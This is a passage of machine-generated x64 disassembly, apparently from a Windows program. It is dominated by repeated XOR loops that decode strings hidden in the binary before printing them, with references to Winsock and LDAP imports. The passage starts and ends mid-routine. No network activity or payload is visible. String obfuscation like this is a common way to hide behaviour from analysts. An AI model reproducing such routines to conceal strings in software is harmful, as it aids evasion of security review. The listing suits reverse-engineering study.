movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140011860
cmp r8d, 0x24
jge 0x1400119b0
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140011980
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x1400119f1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x160]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x1400119f4
mov rbx, r14
mov qword [rbp - 0x58], rbx
test rbx, rbx
je 0x140014d2e
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x40]
call fcn.140009a00
mov rbx, rax
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdi, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
add rcx, rdi
mov rdx, qword [rax + 8]
call r8
movsd xmm0, qword [0x14008fcd8]
movsd qword [rbp + 0x380], xmm0
mov ecx, dword [0x14008fce0]
mov dword [rbp + 0x388], ecx
movzx eax, byte [0x14008fce4]
mov byte [rbp + 0x38c], al
mov r8d, r14d
cmp esi, 2
jl 0x140011ba3
movdqa xmm4, xmmword [0x140091a80]
mov ecx, 4
movd xmm6, ecx
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
mov eax, dword [str.22222222222222223333333333333333O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x14008fcd8]
pxor xmm2, xmm1
movd dword [rbp + 0x380], xmm2
movdqa xmm3, xmmword [0x1400919d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x384]
pxor xmm2, xmm1
movd dword [rbp + 0x384], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp + 0x380]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140011bb0
lea rdx, [rbp + 0x380]
mov rcx, rdi
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140011c0c
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140011c68
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011c63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
movups xmm0, xmmword [0x14008fcf8]
movups xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [0x14008fd08]
movsd qword [rbp - 0x80], xmm1
movzx eax, word [0x14008fd10]
mov word [rbp - 0x78], ax
mov r8d, r14d
mov edi, 4
lea r10d, [rdi + 0x1b]
cmp esi, 2
jl 0x140011d99
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movd xmm5, r10d
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [0x14008fcf8]
pxor xmm3, xmm0
movq qword [rsp + 0x70], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x78]
pxor xmm3, xmm0
movq qword [rsp + 0x78], xmm3
mov r8d, 8
mov eax, r8d
lea r9, [rsp + 0x70]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140011db0
movups xmm0, xmmword [0x14008f988]
movups xmmword [rsp + 0x40], xmm0
movsd xmm1, qword [0x14008f998]
movsd qword [rsp + 0x50], xmm1
mov eax, dword [0x14008f9a0]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14008f9a4]
mov word [rsp + 0x5c], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140011fc0
mov r8d, r14d
cmp esi, 2
jl 0x140011f77
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, r10d
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011e70
cmp r8d, 0x1e
jge 0x140011fc0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140011f90
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140011fff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rsp + 0x40]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140012002
mov rbx, r14
mov qword [rbp - 0x58], rbx
test rbx, rbx
je 0x140014d39
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x1c8]
call fcn.140009a00
nop
mov r8d, 1
lea rdx, [0x1400906a8]
lea rcx, [rbp + 0x1c8]
call fcn.14001d690
movups xmm0, xmmword [str.bA_QCTL9]
movups xmmword [rbp + 0x380], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x14001219d
mov r8d, r14d
cmp esi, 2
jl 0x140012164
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
mov ecx, Ordinal_33
movd xmm5, ecx
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [str.bA_QCTL9]
pxor xmm3, xmm0
movq qword [rbp + 0x380], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x388]
pxor xmm3, xmm0
movq qword [rbp + 0x388], xmm3
jmp 0x1400121a2
lea r9, [rbp + 0x380]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x140012170
mov ecx, Ordinal_33
movups xmm0, xmmword [0x14008f988]
movups xmmword [rbp + 0x160], xmm0
movsd xmm1, qword [0x14008f998]
movsd qword [rbp + 0x170], xmm1
mov eax, dword [0x14008f9a0]
mov dword [rbp + 0x178], eax
movzx eax, word [0x14008f9a4]
mov word [rbp + 0x17c], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140012380
mov r8d, r14d
cmp esi, 2
jl 0x140012337
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, ecx
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140012230
cmp r8d, 0x1e
jge 0x140012380
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140012350
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x150], rax
test rax, rax
je 0x1400123c1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x160]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x1400123c4
mov rbx, r14
mov qword [rbp + 0x158], rbx
test rbx, rbx
je 0x140014d44
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x3b8]
call fcn.140009a00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400123fd
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.14001d690
nop
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0x10
jb 0x140012451
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001244c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001244c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov r8d, 1
lea rdx, [0x1400906a8]
lea rcx, [rbp + 0x1c8]
call fcn.14001d690
movups xmm0, xmmword [str.dVFF_XV9]
movups xmmword [rbp + 0x380], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x1400125cd
mov r8d, r14d
cmp esi, 2
jl 0x140012590
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
mov ecx, Ordinal_33
movd xmm5, ecx
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [str.dVFF_XV9]
pxor xmm3, xmm0
movq qword [rbp + 0x380], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x388]
pxor xmm3, xmm0
movq qword [rbp + 0x388], xmm3
jmp 0x1400125d2
lea r9, [rbp + 0x380]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x1400125a0
mov ecx, Ordinal_33
movups xmm0, xmmword [0x14008f988]
movups xmmword [rbp + 0x160], xmm0
movsd xmm1, qword [0x14008f998]
movsd qword [rbp + 0x170], xmm1
mov eax, dword [0x14008f9a0]
mov dword [rbp + 0x178], eax
movzx eax, word [0x14008f9a4]
mov word [rbp + 0x17c], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400127b0
mov r8d, r14d
cmp esi, 2
jl 0x140012767
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, ecx
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140012660
cmp r8d, 0x1e
jge 0x1400127b0
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140012780
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x150], rax
test rax, rax
je 0x1400127f1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x160]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x1400127f4
mov rbx, r14
mov qword [rbp + 0x158], rbx
test rbx, rbx
je 0x140014d4f
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x3b8]
call fcn.140009a00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14001282d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.14001d690
nop
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0x10
jb 0x140012881
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001287c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001287c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov r8d, 1
lea rdx, [0x1400906a8]
lea rcx, [rbp + 0x1c8]
call fcn.14001d690
movups xmm0, xmmword [str.aVFW_vLWYYO_]
movups xmmword [rbp + 0x3b8], xmm0
movsd xmm1, qword [0x14008fa50]
movsd qword [rbp + 0x3c8], xmm1
movzx eax, word [0x14008fa58]
mov word [rbp + 0x3d0], ax
mov r8d, r14d
mov r10d, Ordinal_33
cmp esi, 2
jl 0x1400129d6
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movd xmm5, r10d
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [str.aVFW_vLWYYO_]
pxor xmm3, xmm0
movq qword [rbp + 0x3b8], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3c0]
pxor xmm3, xmm0
movq qword [rbp + 0x3c0], xmm3
mov r8d, 8
mov eax, r8d
lea r9, [rbp + 0x3b8]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400129f0
movups xmm0, xmmword [0x14008f988]
movups xmmword [rbp + 0x160], xmm0
movsd xmm1, qword [0x14008f998]
movsd qword [rbp + 0x170], xmm1
mov eax, dword [0x14008f9a0]
mov dword [rbp + 0x178], eax
movzx eax, word [0x14008f9a4]
mov word [rbp + 0x17c], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140012c00
mov r8d, r14d
cmp esi, 2
jl 0x140012bb7
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, r10d
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140012ab0
cmp r8d, 0x1e
jge 0x140012c00
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
